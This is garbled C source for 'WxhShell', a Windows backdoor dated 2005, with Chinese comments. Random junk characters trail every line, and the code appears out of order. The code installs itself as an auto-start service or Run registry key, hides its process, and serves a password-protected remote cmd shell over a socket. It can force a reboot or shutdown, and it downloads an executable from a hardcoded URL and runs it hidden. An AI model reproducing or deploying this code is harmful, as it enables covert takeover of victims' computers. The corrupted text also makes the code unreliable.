  case 'd': { 4PVkKP'/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TGe)%jZ  
    if(Boot(SHUTDOWN)) fQ@k$W\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5qx,b&^w  
    else { AnUOv 2  
    closesocket(wsh); ,*Vt53@E  
    ExitThread(0); Q:/BC= ~  
    } F N)vFQ#J  
    break; kq m$a  
    } 'Itsu~fza  
  // 获取shell HU='Hk!  
  case 's': { ZV?~~_ 9  
    CmdShell(wsh); 9*"Ae0ok1  
    closesocket(wsh); YH%aPsi  
    ExitThread(0); /%'>?8/  
    break; @&7|Laa  
  } U <|h4'(@L  
  // 退出 %I&[:  
  case 'x': { ;g M$%!&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sdWu6?B_  
    CloseIt(wsh); :mpR}.^hv  
    break; "AAzBWd/  
    } qxR7;/@j)  
  // 离开 :W++`f&  
  case 'q': { in/ITy-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0VOj,)K=  
    closesocket(wsh); $d[xSwang  
    WSACleanup(); %^r}$mfy:0  
    exit(1); @H?_x/qBT  
    break; q')MKR*  
        } 6tKm'`^z4  
  } jw^Pt~@  
  } -wqnmK+G  
m3La;%aA0  
  // 提示信息 T==(Pw7R7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5,pKv  
} @n-[bN  
  } W)0y+H\% r  
kDrqV{_  
  return; m ^O9G?  
} WrS|$: 0  
}.uB6&!:  
// shell模块句柄 U!0 Qf7D  
int CmdShell(SOCKET sock) g7-=kmr|V  
{ *t,J4c  
STARTUPINFO si; ?2#v`Z=L;  
ZeroMemory(&si,sizeof(si)); @y#QHJ.j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ?Cu1"bl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hvm+Tr2@  
PROCESS_INFORMATION ProcessInfo; JpFfO<uO  
char cmdline[]="cmd"; <}^W9 >u<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C#y[UM5\k;  
  return 0; ikSm;.  
} J:{$\m'  
D`t }V  
// 自身启动模式 2!Mwui;%  
int StartFromService(void) /Ww_fY  
{ QzzV+YG$(4  
typedef struct GCf3'u  
{ t:|+U:! >  
  DWORD ExitStatus; s?.A $^t  
  DWORD PebBaseAddress; I^5T9}>Q  
  DWORD AffinityMask; ]G0`W6;$]  
  DWORD BasePriority; YEEgDw]BQ  
  ULONG UniqueProcessId;  QTN _Z#'  
  ULONG InheritedFromUniqueProcessId; g' xR$6t  
}   PROCESS_BASIC_INFORMATION; q=M\#MlL0'  
q 16jL,i  
PROCNTQSIP NtQueryInformationProcess; a!;]9}u7  
@Gs*y1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 78s:~|WB<{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d" "GG/  
rt7Ma2tK  
  HANDLE             hProcess; 2 us-s  
  PROCESS_BASIC_INFORMATION pbi; &*I\~;1  
suh@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n.[0#Ur&}  
  if(NULL == hInst ) return 0; {L!w/IeX  
MZ(TST"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q+MV@8w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  M>mk=-l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v}=3  
H$:Z`CQt<  
  if (!NtQueryInformationProcess) return 0; VtR?/+8X  
5aF03+ko  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,1\nd{  
  if(!hProcess) return 0; vZdn  
Fb<r~2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FBjIft5e  
T;eA<,H  
  CloseHandle(hProcess); Su<Ggv"  
+TzF*Np  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |P_\l,f8`  
if(hProcess==NULL) return 0; xZ51iD $  
[e2sUO0~r  
HMODULE hMod; ;CU<\  
char procName[255]; *0 ;DCUv  
unsigned long cbNeeded; $J/Z~ (=JT  
#?xhfSgr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RLypWjMx$  
FuOP+r!H  
  CloseHandle(hProcess); Lx-ofN\  
Lp; {&=PIo  
if(strstr(procName,"services")) return 1; // 以服务启动 \#(cI  
; &2J9  
  return 0; // 注册表启动 n7 RswX  
} `?P k~7  
Y$%/H"1bk  
// 主模块 *E<%db C2  
int StartWxhshell(LPSTR lpCmdLine) Ni$WI{e9  
{ YfC1.8  
  SOCKET wsl; P@Wi^svj  
BOOL val=TRUE; UTEUVcJ\  
  int port=0; w_po5[]R  
  struct sockaddr_in door; |kvom 4T  
ubV|s|J  
  if(wscfg.ws_autoins) Install(); \*}JdEHB  
/znW$yh o  
port=atoi(lpCmdLine); ,}!OJyT  
8>Xyz`$kH  
if(port<=0) port=wscfg.ws_port; ~jab/cR  
_y}]j;e8>{  
  WSADATA data; Azx4+`!-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q$EicH}k8  
IqK??KSC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aU]A#g   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pYo]lO  
  door.sin_family = AF_INET; $_-f}E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G9s: Wp  
  door.sin_port = htons(port); +OFq=M  
`A@{})+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iH& Izv  
closesocket(wsl); =T)4Oziks  
return 1; }/ 6Q3B  
} ]HP aM  
@O}%sjC1  
  if(listen(wsl,2) == INVALID_SOCKET) { *0)vsBi  
closesocket(wsl); 6(4FC?Y7  
return 1; +'abAST t  
} :\x)`lu  
  Wxhshell(wsl); N"2Ire  
  WSACleanup(); JcEPwF.  
VnUW UIVJ  
return 0; OWsK>egD  
eK\1cs  
} UY*3b<F}  
#%U5,[<a8  
// 以NT服务方式启动 .g.v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D 8^wR{-;J  
{ G>{Bij44  
DWORD   status = 0; WJ$D]7  
  DWORD   specificError = 0xfffffff; * B!uYP  
T:aYv;#0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~6`HJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !Q!= =*1H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *.wX9g9\  
  serviceStatus.dwWin32ExitCode     = 0; K &m`1f  
  serviceStatus.dwServiceSpecificExitCode = 0; umrfA  
  serviceStatus.dwCheckPoint       = 0; Bk&ry)`gD  
  serviceStatus.dwWaitHint       = 0; dEU +\NY  
!(PAUW S@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NF <|3|  
  if (hServiceStatusHandle==0) return; 8 /1 sy.R  
Zr,:i MPZ  
status = GetLastError(); G2Eke;  
  if (status!=NO_ERROR) 59:Xu%Hp  
{ c%_I|h<?iT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UD`bK a`E  
    serviceStatus.dwCheckPoint       = 0; RiC1lCE  
    serviceStatus.dwWaitHint       = 0; LutP&Ebt8  
    serviceStatus.dwWin32ExitCode     = status; "ewSh<t  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fyy)665x/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+*M<W  
    return; d@~Hp?  
  } d^sS{m\  
~aKxwH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bD[W`yW0  
  serviceStatus.dwCheckPoint       = 0; s^F6sXhyPi  
  serviceStatus.dwWaitHint       = 0; W'w;cy:H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1w}%>e-S  
} eO#Kn'5  
a#t:+iw  
// 处理NT服务事件,比如:启动、停止 MPx%#'Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dbt"}#uit;  
{ ?4Z`^uy  
switch(fdwControl) BwwOaO@L  
{ SW|{)L,  
case SERVICE_CONTROL_STOP: 25%[nkO4  
  serviceStatus.dwWin32ExitCode = 0; <U(wLG'XS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iIFM 5CT  
  serviceStatus.dwCheckPoint   = 0; .$5QM&  
  serviceStatus.dwWaitHint     = 0; Coz\fL  
  { ) -x0xY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f0+)%gO{  
  } &GF@9BXI3  
  return; zi l^^wT0J  
case SERVICE_CONTROL_PAUSE: hw/ :  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]cvP !  
  break;  }t}y  
case SERVICE_CONTROL_CONTINUE:  nen(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +6tj w 6  
  break; ^6R?UG;6  
case SERVICE_CONTROL_INTERROGATE: ?-w<H!Y7  
  break; 1sgI,5liUs  
}; OKs1irt5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *;7~aM  
} K*^3FO}JG  
CN4Q++{  
// 标准应用程序主函数 JgQ,,p_V?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4X tIMa28  
{ EaaLN<i@0  
Fd!Np7xw  
// 获取操作系统版本 D4nYyj1O3  
OsIsNt=GetOsVer(); 8,unq3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8D3|}z?  
&`+tWL6L  
  // 从命令行安装 gXZl3  
  if(strpbrk(lpCmdLine,"iI")) Install(); hKo& ZWPq  
pRyePxCDj)  
  // 下载执行文件 $m{-I=  
if(wscfg.ws_downexe) { UXpF$=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ vf&Ldk  
  WinExec(wscfg.ws_filenam,SW_HIDE); m,YBk<Bx  
} _p0@1 s(U  
'/l<\b/E  
if(!OsIsNt) { 4#?Sxs  
// 如果时win9x,隐藏进程并且设置为注册表启动 QP HibPP:  
HideProc(); [XK^3pT_  
StartWxhshell(lpCmdLine); XdS&s}J[I  
} {/|RKV83  
else F/33# U  
  if(StartFromService()) %l{0z<  
  // 以服务方式启动 BMaw]D  
  StartServiceCtrlDispatcher(DispatchTable); k# -u!G  
else ndW]S7  
  // 普通方式启动 _{$eOwB  
  StartWxhshell(lpCmdLine); r"HQ>Wn  
ZSWKVTi  
return 0; 'x/pV5[hQ  
} KV&4Ep#  
9BW"^$  
p1}umDb%  
rjk{9u1a"  
=========================================== u*n%cXY;J/  
;5S'?fj  
Q8d-yJs&  
'0ks`a4q  
hbfN1 "z  
Tfsx&k\  
" Lt'FA  
LT+QW  
#include <stdio.h> =(]yl_  
#include <string.h> s}w?Dvo\  
#include <windows.h> ::<v; `l  
#include <winsock2.h> ^HiI   
#include <winsvc.h> y}aKL(AaU  
#include <urlmon.h> |azdFf6A:[  
C?OqS+  
#pragma comment (lib, "Ws2_32.lib") \tCxz(vKz  
#pragma comment (lib, "urlmon.lib") /[V}   
nC6 ;:uM  
#define MAX_USER   100 // 最大客户端连接数 wlC7;u  
#define BUF_SOCK   200 // sock buffer 8&q[jxI@8  
#define KEY_BUFF   255 // 输入 buffer <PMQ$s>KK  
fX:=_c   
#define REBOOT     0   // 重启 Pi/V3D) B  
#define SHUTDOWN   1   // 关机 kH4xP3. i  
P:8 qm DXo  
#define DEF_PORT   5000 // 监听端口 v?6g. [;?  
{wK| C<K  
#define REG_LEN     16   // 注册表键长度 czG]rl\1  
#define SVC_LEN     80   // NT服务名长度 A!GQ4.~%  
"@s</HGo  
// 从dll定义API :<QmG3F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a8w/#!^34  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "A9qC*6[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pl/}`H:R&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q0sdL86  
;rj|>  
// wxhshell配置信息 V'iT>  
struct WSCFG {  Y%zYO  
  int ws_port;         // 监听端口 ny l[d|pVa  
  char ws_passstr[REG_LEN]; // 口令 H{1'OC  
  int ws_autoins;       // 安装标记, 1=yes 0=no MP6Py@J45  
  char ws_regname[REG_LEN]; // 注册表键名 ;N(9nX}%)  
  char ws_svcname[REG_LEN]; // 服务名 7gnrLc$]O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U*Sjb% Qb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r)]8zK4;=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #_pQS}$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F-TDS<[S?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k]"DsN$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ][?@) )  
d,XNok{  
}; bCfw,V{sce  
T8t_+| ( G  
// default Wxhshell configuration )&px[Dbx  
struct WSCFG wscfg={DEF_PORT, 3'jH,17lWV  
    "xuhuanlingzhe", dTTC6?yPXf  
    1, =zsA@UM0  
    "Wxhshell", EK 8rV  
    "Wxhshell", k1_" }B5  
            "WxhShell Service", N+nv#]{  
    "Wrsky Windows CmdShell Service", VRQD  
    "Please Input Your Password: ", hVGK%HCz&  
  1, @9AK!I8f  
  "http://www.wrsky.com/wxhshell.exe", !kQJ6U  
  "Wxhshell.exe" #E;a ;$p  
    }; :k/Z|  
s2kom)  
// 消息定义模块 :ceT8-PBRx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Va-.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1e)5D& njS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  k:i}xKu  
char *msg_ws_ext="\n\rExit."; E``\Jre@  
char *msg_ws_end="\n\rQuit."; w f""=;  
char *msg_ws_boot="\n\rReboot..."; \ $Q?  
char *msg_ws_poff="\n\rShutdown..."; qBDhCE  
char *msg_ws_down="\n\rSave to "; .~Gt=F+`s  
Vjqs\  
char *msg_ws_err="\n\rErr!"; |T+YC[T#v  
char *msg_ws_ok="\n\rOK!"; V2oXg  
Xaw&41K  
char ExeFile[MAX_PATH]; :8LK}TY7  
int nUser = 0; (Kg( 6E,  
HANDLE handles[MAX_USER]; 6|10OTVu`  
int OsIsNt; c[zGWF#1>  
w|[{xn^R  
SERVICE_STATUS       serviceStatus; LXq0hI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S4C4_*~Vd  
njGZ#{"eC  
// 函数声明 \J-}Dp\0b  
int Install(void); ]yV,lp  
int Uninstall(void); Sau?Y  
int DownloadFile(char *sURL, SOCKET wsh); [J\! 2\Oo  
int Boot(int flag); g!I0UAm  
void HideProc(void); OhiY <  
int GetOsVer(void); iPK:gK3Q  
int Wxhshell(SOCKET wsl); !.c no&  
void TalkWithClient(void *cs); &]S\GnqlU]  
int CmdShell(SOCKET sock); j<PpCL_8%  
int StartFromService(void); ,7os3~Mk9  
int StartWxhshell(LPSTR lpCmdLine); e\95X{_'  
zW:r7 P.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \H {UJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $Ma*qEB  
<7*d2  
// 数据结构和表定义 W{X5~w(  
SERVICE_TABLE_ENTRY DispatchTable[] = 8dlhL8#  
{ 7OdJ&Gzd  
{wscfg.ws_svcname, NTServiceMain}, /;;$9O9  
{NULL, NULL} Y*-dUJK-`  
}; ,tl(\4n  
M-zqD8D  
// 自我安装 P.W@5:sD  
int Install(void) V2o1~R~  
{ 58[.]f~0  
  char svExeFile[MAX_PATH]; zOn% \  
  HKEY key; d 6=Z=4w  
  strcpy(svExeFile,ExeFile); <o: O<p@6  
~ yu\vqN  
// 如果是win9x系统,修改注册表设为自启动 Q7(I'  
if(!OsIsNt) { XGSgx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WKB K)=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,r,$x4*  
  RegCloseKey(key); ;dqu ld+q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }~!KjFbs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k.?@qCs[  
  RegCloseKey(key); rOTxD/  
  return 0; .mvpFdn  
    } k~=W1R%  
  } V]6CHE:BS  
} HImQ.y!B  
else { fDrjR6xV  
4|/=]w  
// 如果是NT以上系统,安装为系统服务 c^8csQ fG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {O5(O oDa  
if (schSCManager!=0) c;doxNd6  
{ R=<uf:ca  
  SC_HANDLE schService = CreateService G~{#%i  
  ( SGUZ'}  
  schSCManager, '"]QAj?N  
  wscfg.ws_svcname, B j z@X  
  wscfg.ws_svcdisp, j% Wip j;c  
  SERVICE_ALL_ACCESS, I9hZ&ed16  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m98w0D@Ee  
  SERVICE_AUTO_START, Z3N^)j8  
  SERVICE_ERROR_NORMAL, yv2wQ_({  
  svExeFile, <]'1YDA  
  NULL, u69fYoB'  
  NULL, Wq"^{  
  NULL, ,A;wLI  
  NULL, VL8yL`~zc.  
  NULL 3) _(t.$D  
  ); @  Br?  
  if (schService!=0) c+.?+g  
  { Dz<vIMLF{  
  CloseServiceHandle(schService); Q)93 +1]  
  CloseServiceHandle(schSCManager); ]?UK98uS\A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JqP~2,T  
  strcat(svExeFile,wscfg.ws_svcname); W+ v#m>G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { { v#wU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xo ,U$zE  
  RegCloseKey(key); {LqahO*  
  return 0;  ?h3t"9  
    } 9e0t  
  } 63T4''bwu  
  CloseServiceHandle(schSCManager); 3u&)6C?YM  
} UsnIx54D3  
} de,4M s!%  
fea4Ul{ib  
return 1; hZ UnNQ  
} 6a4-VX5  
@0fiui_  
// 自我卸载 Fg^Z g\X3  
int Uninstall(void) +W^$my)<  
{ +.IncY8C$  
  HKEY key; @9\L|O'~?  
#s0Wx47~  
if(!OsIsNt) { cOb ,Md  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6'ia^om  
  RegDeleteValue(key,wscfg.ws_regname); Ae^ Idz  
  RegCloseKey(key); P"<,@Mn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #KwK``XC 4  
  RegDeleteValue(key,wscfg.ws_regname); :za:gs0  
  RegCloseKey(key); W ,|JocDq  
  return 0; e)2w&2i`(F  
  } -b'a-?  
} B;^YHWJ6i  
} d/l>~%bR  
else { /YD2F  
#GIjU1-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )|IMhB+4  
if (schSCManager!=0) Tu7sA.73k  
{ v|GDPq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2_ CJV  
  if (schService!=0) 9y`Vg  
  { JXk<t5@D  
  if(DeleteService(schService)!=0) { C~8;2/F7  
  CloseServiceHandle(schService); &0JCZ /e  
  CloseServiceHandle(schSCManager); #Y<(7  
  return 0; `Uy4>?  
  } %-#rzeaW  
  CloseServiceHandle(schService); '<%;Nv  
  } T}y@ a^#  
  CloseServiceHandle(schSCManager); {O (@}  
} F.@U X{J  
} f~v@;/HL  
nW!pOTJq21  
return 1; &ngG_y8}&  
} (VB-5&b  
NG\^>.8  
// 从指定url下载文件 :y3e-lr  
int DownloadFile(char *sURL, SOCKET wsh) ILMXWw  
{ 7N}==T89[  
  HRESULT hr; faPgp  
char seps[]= "/"; IT0 [;eqR  
char *token; \4"01:u'  
char *file; Uq:CM6q\  
char myURL[MAX_PATH]; b";D*\=x  
char myFILE[MAX_PATH]; SZL('x,"^  
~v^I*/uY  
strcpy(myURL,sURL); BM_Rlcx~  
  token=strtok(myURL,seps); wSIfqf+y  
  while(token!=NULL) Ob m%\h  
  { A v[|G4n  
    file=token; WzdE XcY  
  token=strtok(NULL,seps); hVd PO  
  } yvt :/X  
Pef$-3aP>E  
GetCurrentDirectory(MAX_PATH,myFILE); prCr"y` M  
strcat(myFILE, "\\"); 0qhSV B5  
strcat(myFILE, file); ZFa<{J<2  
  send(wsh,myFILE,strlen(myFILE),0); -| YDKcL  
send(wsh,"...",3,0); mxkv{;ad  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -efB8)A  
  if(hr==S_OK) N!YjMx)P  
return 0; oz#;7 ?9  
else (#5TM1/A  
return 1; {5J: ]{p  
y5$AAas  
}   ]n (:X  
$}z%}v  
// 系统电源模块 pPnJf{  
int Boot(int flag) 1^^9'/  
{ #S*cFnd  
  HANDLE hToken; KdU&q+C^  
  TOKEN_PRIVILEGES tkp; @zAav>  
K %Qj<{)  
  if(OsIsNt) { Nd;,Wz]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~2M+Me  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {>8u/  
    tkp.PrivilegeCount = 1; L__J(6,V2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vu=`s|R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lzy Ix!S  
if(flag==REBOOT) { r E<Ou"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ub| -Q  
  return 0; :9f/d;Mo3  
} ?*: mR|=  
else { D<UX^hU   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O [v(kH'  
  return 0; ;@ lC08SE  
} Gz@/:dW^vZ  
  } IPEJ7 n49  
  else { O\ph!?L  
if(flag==REBOOT) { Hsvu&>[`S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XR.Sm<A[  
  return 0; 02 6|u|R  
} J'4V_Kjg-  
else { e!.r- v9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fd/?x^Z  
  return 0; xYl ScM_~  
} v*VId l>  
} /IyCvo  
3_cZaru  
return 1; ra>jVE0 `  
} ?TEdGe\*  
3 V{&o,6  
// win9x进程隐藏模块  ~N=$%C  
void HideProc(void) t?6_^ 08  
{ a?5R ;I B  
}`*DMI;-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ("5Eed  
  if ( hKernel != NULL ) 9&7$oI$!J  
  { hB 36o9|9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A.>TD=Nz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RY9h^q*  
    FreeLibrary(hKernel); HI*j6H?\  
  } $ ";NS6 1  
G@I/Dy  
return; AW< z7B D  
} /%9CR'%*c  
sV5S>*A[  
// 获取操作系统版本 `(6g87h  
int GetOsVer(void) \Cz uf   
{ Md(h-wYr  
  OSVERSIONINFO winfo; y`Km96 Ui  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YKWts y  
  GetVersionEx(&winfo); <QZ X""  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $9m>(b/;n  
  return 1; ^s[OvJb  
  else .GH#`j  
  return 0; R<FW?z*  
} +Oa+G.;)o4  
NP< {WL#  
// 客户端句柄模块 l7M![Ur  
int Wxhshell(SOCKET wsl) 4!^flKZQ  
{ oNK-^N?-T  
  SOCKET wsh; B`1"4[{  
  struct sockaddr_in client; `-QY<STTP9  
  DWORD myID; y4Fuh nb>  
[yf&]0  
  while(nUser<MAX_USER) g?=|kp  
{ %}x$YD O  
  int nSize=sizeof(client); =V(|3?N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DgB]y6~KXl  
  if(wsh==INVALID_SOCKET) return 1; q/l@J3p[qm  
R}VEq gq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Al1BnFB  
if(handles[nUser]==0) *&A/0]w  
  closesocket(wsh); mw,\try  
else ,oS<9kC68  
  nUser++; 2\, h "W(  
  } lhRo+X#G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w=MiJr#3^  
Q@HW`@i  
  return 0; 8M9}os  
} $yY\[C  
i$b Het  
// 关闭 socket u#sbr8Y  
void CloseIt(SOCKET wsh) b2p;-rv  
{ >t Ll|O+  
closesocket(wsh); 1e(Q I) ~  
nUser--; 0^ IHBN?9  
ExitThread(0); 1`z^Xk8vt  
} g Xi& S  
^KO=8m( )J  
// 客户端请求句柄 Jkq?wpYp  
void TalkWithClient(void *cs) Q@"mL  
{ 5(V'<  
O!=ae|  
  SOCKET wsh=(SOCKET)cs; '"QN{ja  
  char pwd[SVC_LEN];  XBF]|}%  
  char cmd[KEY_BUFF]; '}|sRuftb  
char chr[1]; `PVr;&  
int i,j; {u4=*> ?G  
s)<^YASg  
  while (nUser < MAX_USER) { m\O|BMHn  
c2iPm9"eh  
if(wscfg.ws_passstr) { C\WU<!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;DXcEzV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c 6"hk_  
  //ZeroMemory(pwd,KEY_BUFF); Fs|aH-9\  
      i=0; c5f8pa *  
  while(i<SVC_LEN) { map#4\  
5^W},:3R  
  // 设置超时 aO'lk  
  fd_set FdRead; Nt^9N #+N  
  struct timeval TimeOut; _xVtB1@kLM  
  FD_ZERO(&FdRead); '.8E_Jd0E  
  FD_SET(wsh,&FdRead); > lg-j-pV  
  TimeOut.tv_sec=8; 43p0k&;-7  
  TimeOut.tv_usec=0; TtZ '~cGR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .tny"a&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5C^oqUZ  
=5QP'Qt{O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~c*$w O\  
  pwd=chr[0]; Aa#WhF  
  if(chr[0]==0xd || chr[0]==0xa) { $%ts#56*  
  pwd=0; ;E{k+vkqy  
  break; ?%Pd:~4D  
  } ?9)-?tZ^Q  
  i++; rnV\O L  
    } 7@@,4_q E  
viP.G/(\]  
  // 如果是非法用户,关闭 socket L-}6}5[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); & 1:_+  
} ~H)s>6>#v  
,iQRf@#W_b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vA r fsgk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 kM4\E n  
#_b U/rk)*  
while(1) { v9t26>{~  
G; *jL4  
  ZeroMemory(cmd,KEY_BUFF); os3jpFeG'  
o JLpFL  
      // 自动支持客户端 telnet标准   Tf bB1  
  j=0; ^D=1%@l?#  
  while(j<KEY_BUFF) { aU)NbESu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?C[W~m P  
  cmd[j]=chr[0]; E W {vF|  
  if(chr[0]==0xa || chr[0]==0xd) { qkEre  
  cmd[j]=0; ]hPu  
  break; :U}.  
  } ^4\h Z  
  j++; Lcx)wof  
    } j<HBzqP%6  
oVK3=m@ {  
  // 下载文件 _Prh&Q1zs  
  if(strstr(cmd,"http://")) { srh>" 2."  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nI_43rG:Uf  
  if(DownloadFile(cmd,wsh)) sr=~U q{g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNsas:iGM  
  else /mM#nS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m=hlim;P,  
  } |A'y|/)#Z  
  else { ~ry B*eZH  
j`'9;7h M6  
